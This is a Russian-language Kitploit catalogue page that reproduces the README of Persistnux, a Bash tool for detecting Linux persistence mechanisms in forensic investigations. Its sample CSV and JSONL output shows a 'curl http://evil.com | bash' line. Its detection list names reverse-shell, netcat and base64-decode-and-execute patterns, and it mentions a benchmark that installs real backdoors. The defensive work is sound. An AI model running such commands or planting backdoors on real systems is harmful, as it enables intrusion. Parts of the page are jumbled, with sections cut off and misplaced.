Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Persistnux — Инструмент обнаружения персистентности в Linux на Bash для расследований DFIR. Сканирует 15+ механизмов персистентности (systemd, cron, модули ядра, SSH, контейнеры) с оценкой достоверности и генерирует CSV/JSONL отчеты для криминалистического анализа. | Kitploit
Инструменты/GitHubGitHub/go-lanz/persistnux
Повышение привилегийМеханизмы персистентностиАнализ уязвимостейФорензикаАнализ вредоносных программЦифровая криминалистикаОбучение и ОбразованиеРеагирование на ИнцидентыПобег из КонтейнераЛаборатории и Практика
GitHubgo-lanz/persistnux
351 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Persistnux

Инструмент обнаружения персистентности в Linux на Bash для расследований DFIR. Сканирует 15+ механизмов персистентности (systemd, cron, модули ядра, SSH, контейнеры) с оценкой достоверности и генерирует CSV/JSONL отчеты для криминалистического анализа.

Репозиторий

Persistnux

Комплексный инструмент обнаружения механизмов сохранения доступа (persistence) в Linux для расследований в области цифровой криминалистики и реагирования на инциденты (DFIR).

Обзор

Persistnux — это инструмент на Bash, предназначенный для выявления известных механизмов сохранения доступа в Linux, используемых злоумышленниками для поддержания контроля над скомпрометированными системами. Он выполняет всесторонние проверки системы и генерирует подробные отчёты в форматах CSV и JSONL для дальнейшего анализа.

Возможности

  • Всестороннее обнаружение: охватывает все основные механизмы сохранения доступа в Linux
  • Анализ на работающей системе: запускается непосредственно на живых системах с минимальными зависимостями
  • Подробные отчёты: создаёт отчёты в форматах CSV и JSONL, содержащие хеши файлов, метаданные и оценки надёжности
  • Работа от root и обычного пользователя: работает как с привилегиями root, так и без них (с ограниченной областью проверки для обычных пользователей)
  • Готовность для DFIR: форматы вывода совместимы с распространёнными инструментами и рабочими процессами DFIR
  • Оценка подозрительности: автоматическое присвоение уровня доверия (LOW, MEDIUM, HIGH, CRITICAL) на основе выявленных индикаторов
  • Снижение ложных срабатываний: интеграция с менеджером пакетов и белый список известных корректных служб
  • Анализ на основе времени: недавно изменённые файлы получают более высокий уровень доверия
  • Поиск по шаблонам: обнаруживает обратные оболочки, шаблоны «скачать-и-выполнить», техники обфускации

Обнаруживаемые механизмы сохранения доступа

1. Systemd-службы

  • Файлы служб (.service) в /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Пользовательские службы systemd
  • Отсеивает отключённые службы и службы без ExecStart
  • Обнаруживает подозрительные команды ExecStart
  • Проверяет целостность исполняемых файлов/скриптов через менеджер пакетов

2. Задачи Cron и планировщики

  • Системные crontab (/etc/crontab, /etc/cron.d/*)
  • Каталоги периодического выполнения (/etc/cron.{daily,hourly,weekly,monthly})
  • Пользовательские crontab для всех пользователей (режим root)
  • Задачи At
  • Подозрительные шаблоны команд в запланированных задачах
  • Файлы ACL /etc/cron.allow и /etc/cron.deny — записи, ссылающиеся на несуществующих пользователей, помечаются

3. Профили оболочки и RC-файлы

  • Системные профили (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Скрипты Profile.d (/etc/profile.d/*)
  • Пользовательские профили (.bashrc, .bash_profile, .zshrc, .profile и т. д.)
  • Конфигурации Fish shell
  • Обнаруживает вредоносные команды в файлах профилей

4. Init-скрипты и RC.local

  • /etc/rc.local и его варианты
  • Init-скрипты SysV (/etc/init.d)
  • Скрипты уровней выполнения (/etc/rc*.d)
  • Обнаруживает подозрительные команды скачивания/выполнения

5. Модули ядра и предзагрузка библиотек

  • Настройки LD_PRELOAD (/etc/ld.so.preload) — каждая указанная библиотека проверяется через менеджер пакетов
  • Конфигурации динамического компоновщика (/etc/ld.so.conf, /etc/ld.so.conf.d/) — проверка целостности conf-файлов и сканирование .so-файлов в нестандартных путях
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH — помечается как HIGH; указанные пути библиотек проверяются (неуправляемые/изменённые → CRITICAL)
  • Параметры модулей ядра (/etc/modprobe.d/, /etc/modprobe.conf) — целостность файлов; анализ директив install на предмет подозрительных целей команд; blacklist модулей безопасности (apparmor, selinux, seccomp) помечается как HIGH
  • Конфигурации автозагрузки модулей ядра (/etc/modules, /etc/modules-load.d/) — целостность конфигураций; имена модулей разрешаются в .ko-файлы через и проверяются

6. Дополнительные механизмы

  • Записи автозапуска XDG (.config/autostart, /etc/xdg/autostart) — при работе от root сканируются все домашние каталоги пользователей
  • Системные файлы окружения (/etc/environment) — проверка путей библиотек LD_PRELOAD/LD_LIBRARY_PATH
  • Конфигурации sudoers и дополнительные файлы (/etc/sudoers, /etc/sudoers.d/) — шаблоны NOPASSWD/ALL → HIGH
  • PAM (Pluggable Authentication Modules):
    • Все модули .so проверяются через менеджер пакетов; обрабатываются директивы @include; включается /etc/pam.conf
    • Анализ скриптов pam_exec.so — отсутствующие/подозрительные скрипты → CRITICAL
    • Обнаружение релеев pam_python.so / pam_perl.so — скрипт извлекается и анализируется
    • Обнаружение hook-файлов pam_script.so в

8. Сохранение доступа через SSH

  • Пользовательские ~/.ssh/authorized_keys — недавно изменённые ключи помечаются; анализируется содержимое опции command= на предмет подозрительных шаблонов
  • Пользовательские ~/.ssh/rc — наличие помечается как MEDIUM; подозрительное содержимое/обратная оболочка → HIGH/CRITICAL

9. Перехват бинарных файлов (Binary Hijacking)

  • Проверка установленных системных бинарных файлов по базе пакетов (dpkg -V на Debian/Ubuntu, rpm -Va на RHEL/CentOS)
  • Изменённые файлы в /usr/bin, /usr/sbin, /bin, /sbin → CRITICAL
  • Изменённые модули PAM в /lib/security → CRITICAL
  • Conffiles (конфигурационные файлы dpkg) исключаются для снижения ложных срабатываний

10. Загрузчик и Initramfs

  • Инъекция параметра ядра init= в GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Init-скрипты на корневом уровне в /
  • Initramfs-модули Dracut с хуками pre-pivot, записывающими в /sysroot/etc/shadow
  • Hook-скрипты Ubuntu initramfs-tools в /etc/initramfs-tools/scripts/ и /hooks/
  • Недавно изменённые образы /boot/initrd.img-* (по mtime)

11. Манипуляции Polkit (PolicyKit)

  • Файлы .pkla с безусловными ResultAny/ResultInactive/ResultActive=yes
  • Предоставление прав с подстановочным идентификатором (unix-user:*)
  • Файлы .rules с безусловным polkit.Result.YES (Polkit на JavaScript, версия >= 0.106)

12. D-Bus и NetworkManager

  • Регистрация вредоносных системных служб D-Bus через Exec= (/usr/share/dbus-1/system-services/)
  • Подстановочные директивы политик D-Bus allow own="*" или send_destination="*"
  • Скрипты диспетчера NetworkManager (/etc/NetworkManager/dispatcher.d/)

13. Правила Udev

  • Директивы Udev RUN+=, выполняющие произвольные команды или скрипты (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Правила, внедрённые во время выполнения в /run/udev/rules.d/
  • Шаблоны делегирования at/cron в RUN+= (распространённый обход ограничений на выполнение в фоновом режиме)

14. Побег из контейнера

  • Привилегированные Docker-контейнеры (--privileged, --pid=host)
  • Монтирование docker.sock внутрь контейнеров (полный контроль над хостом через Docker API)
  • nsenter -t 1 в точках входа контейнеров или Dockerfile
  • Dockerfile в каталогах, доступных для записи пользователями, содержащие техники побега

15. Расширенные проверки бинарных файлов и привилегий

  • Сканирование активных SUID/SGID-файлов по системным каталогам
  • Сканирование файловых возможностей через getcap — cap_setuid+ep на GTFOBins → CRITICAL
  • Перехват бинарных файлов: переименованные оригиналы (.original, .old, .bak, .real) с скриптами-обёртками
  • Учётные записи без root с UID 0 в /etc/passwd
  • Маскировка оболочки с помощью завершающего пробела в поле оболочки /etc/passwd
  • Системные учётные записи (UID 1-999) с файлами authorized_keys SSH

Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Сделать скрипт исполняемым
chmod +x persistnux.sh

Использование

Базовое использование (анализ на работающей системе)

root@kitploit:~
# Запуск с настройками по умолчанию (показываются только подозрительные находки)
sudo ./persistnux.sh

# Показать справку и все опции
./persistnux.sh --help

# Запуск от обычного пользователя (ограниченная область)
./persistnux.sh

Опции фильтрации (v2.4+)

По умолчанию Persistnux показывает только подозрительные находки (уровни MEDIUM, HIGH, CRITICAL), чтобы уменьшить шум и сосредоточиться на действенных угрозах.

root@kitploit:~
# По умолчанию: показывать только подозрительные находки
sudo ./persistnux.sh

# Показывать все находки, включая базовые (уровень LOW)
sudo ./persistnux.sh --all
# ИЛИ
sudo FILTER_MODE=all ./persistnux.sh

# Показывать только находки с уровнями HIGH и CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Комбинирование фильтров: только HIGH
sudo ./persistnux.sh --min-confidence HIGH

Пользовательский каталог вывода

root@kitploit:~
# Указать собственный каталог вывода
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Комбинировать с фильтрацией
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

Выходные файлы

По умолчанию Persistnux создаёт каталог вывода ./persistnux_output/, содержащий:

  • persistnux_<hostname>_<timestamp>.csv — отчёт в формате CSV
  • persistnux_<hostname>_<timestamp>.jsonl — отчёт в формате JSONL (по одному объекту JSON в строке)
  • persistnux_<hostname>_<timestamp>_report.txt — читаемый сводный отчёт с количеством находок и метаданными сканирования

Формат вывода

Формат CSV

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

Формат JSONL

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Ключевые поля вывода

  • matched_pattern: шаблон обнаружения, вызвавший находку (например, suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: фактическое подозрительное содержимое (вся строка, а не просто ключевое слово)

Оценка надёжности (Confidence Scoring)

Persistnux использует интеллектуальную оценку надёжности для снижения ложных срабатываний:

  • LOW: стандартная системная конфигурация, низкая подозрительность (часто файлы, управляемые пакетным менеджером)
  • MEDIUM: потенциально подозрительно, но может быть легитимным
  • HIGH: обнаружены подозрительные шаблоны (например, curl/wget в cron, выполнение из /tmp, обратные оболочки)
  • CRITICAL: неопровержимые доказательства взлома — сбой проверки целостности пакета, SUID/SGID на подозрительном файле, аномалия модуля PAM, генератор systemd в эфемерной папке или встроенный код интерпретатора с высокоэнтропийной полезной нагрузкой

Снижение ложных срабатываний (v1.2+)

Persistnux теперь включает несколько функций для снижения ложных срабатываний:

  1. Интеграция с менеджером пакетов: файлы, управляемые dpkg (Debian/Ubuntu) или rpm (RedHat/CentOS), получают более низкие оценки надёжности
  2. Белый список известных корректных служб: стандартные службы вендоров (systemd-, dbus-, snap.* и т. д.) автоматически пропускаются
  3. Оценка на основе времени: недавно изменённые файлы (<7 дней) получают более высокие оценки надёжности
  4. Контекстно-зависимый анализ: комбинирует несколько индикаторов для более точного обнаружения

Подозрительные индикаторы

Persistnux автоматически помечает элементы с повышенной оценкой надёжности при обнаружении:

Сетевые шаблоны

  • Обратные оболочки: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Сетевые утилиты: nc, netcat, socat, telnet
  • Сокетные операции в языках сценариев: python -c 'import socket'

Шаблоны скачивания и выполнения

  • Инструменты скачивания: curl | bash, wget | sh
  • Скачивание с выполнением: curl URL -o /tmp/file && chmod +x

Техники обфускации

  • Кодирование: base64 -d | bash, eval $(echo BASE64)
  • Динамическое выполнение: eval, exec

Подозрительные местоположения

  • Временные каталоги: /tmp, /dev/shm, /var/tmp
  • Скрытые каталоги и файлы

Манипуляции с правами доступа

  • Сделать файлы исполняемыми: chmod +x, chmod 777
  • Манипуляции с SUID-битом: chmod u+s

Требования

  • Bash 4.0+
  • Стандартные утилиты Unix: find, grep, stat, sha256sum, awk, file
  • Опционально: systemctl, lsmod, modinfo, getcap, dpkg/rpm (для определённых проверок)
  • Нет зависимости от интерпретаторов (чистый bash + coreutils; python/jq не требуются)
  • Рекомендуется доступ root/sudo для всестороннего анализа

Тестирование / Совместимость

Примечание: Инструмент в основном протестирован на системах Ubuntu/Debian. RedHat, Fedora и RPM-дистрибутивы имеют реализованную поддержку менеджера пакетов в коде, но не были проверены в реальных тестовых средах. Приветствуются вклады и отчёты о тестировании для RPM-дистрибутивов.

Тестирование / Бенчмарк

Persistnux сравнивается с PANIX, который устанавливает те же механизмы сохранения доступа, которые ищет Persistnux. Повторяемый тестовый стенд в tests/panix_benchmark.sh применяет каждую технику PANIX, запускает Persistnux и подтверждает обнаружение через базовое сравнение. Каждый файловый метод PANIX, применимый на тестовой машине, обнаруживается с уровнем MEDIUM и выше. См. полную таблицу покрытия и методологию в PANIX_BENCHMARK.md.

⚠️ Бенчмарк устанавливает реальные бэкдоры — запускайте его только в изолированной виртуальной машине.

Планы развития

  • Режим автономного анализа для образов криминалистических дисков
  • Интеграция с коллекцией UAC (Unix-like Artifacts Collector)
  • Расширение бенчмарка PANIX на векторы загрузчика/initramfs/LKM на полноценной ВМ

Ресурсы

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Вклад в проект

Вклад приветствуется! Пожалуйста, отправляйте pull request или открывайте issues для:

  • Обнаружения новых механизмов сохранения доступа
  • Исправления ошибок
  • Улучшения документации
  • Оптимизации производительности
  • Дополнительных форматов вывода

Лицензия

Лицензия MIT — подробнее см. в файле LICENSE.

Благодарности

Разработано для сообщества DFIR для помощи в реагировании на инциденты и криминалистических расследованиях в Linux.

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности, реагирования на инциденты и криминалистического анализа. Пользователи обязаны убедиться, что у них есть соответствующие разрешения перед запуском этого инструмента на любой системе.

Контакты

По вопросам, проблемам или предложениям используйте трекер issues на GitHub.

Скачать инструмент
modinfo
  • Загруженные модули ядра (lsmod) — перечисление и проверка целостности
  • /etc/security/
  • Целостность конфигурационных файлов — изменённые принадлежащие пакетам конфигурации PAM → CRITICAL
  • Проверка библиотек LD_PRELOAD в pam_env.conf и ~/.pam_environment
  • Общее сканирование /etc/security/
  • Скрипты MOTD (/etc/update-motd.d/) — проверка пакета; изменённые → CRITICAL
  • Вспомогательные программы Git credential и настройки core.pager — анализ содержимого для всех пользователей
  • Web-шеллы в распространённых веб-каталогах
  • ДистрибутивСтатусПримечания
    Ubuntu 22.04 LTS✅ ПротестированОсновная платформа разработки и тестирования
    Ubuntu 20.04 LTS✅ ПротестированПолная поддержка
    Debian 11/12✅ ПротестированОснован на dpkg, те же соглашения о путях
    Kali Linux (rolling)✅ ПротестированИспользовался для бенчмарка PANIX (см. ниже)
    RedHat / RHEL⚠️ Не тестировалсяПоддержка rpm реализована, но не проверена на живых системах
    Fedora⚠️ Не тестировалсяПоддержка rpm реализована, но не проверена на живых системах
    CentOS / AlmaLinux / Rocky⚠️ Не тестировалсяПоддержка rpm реализована, но не проверена на живых системах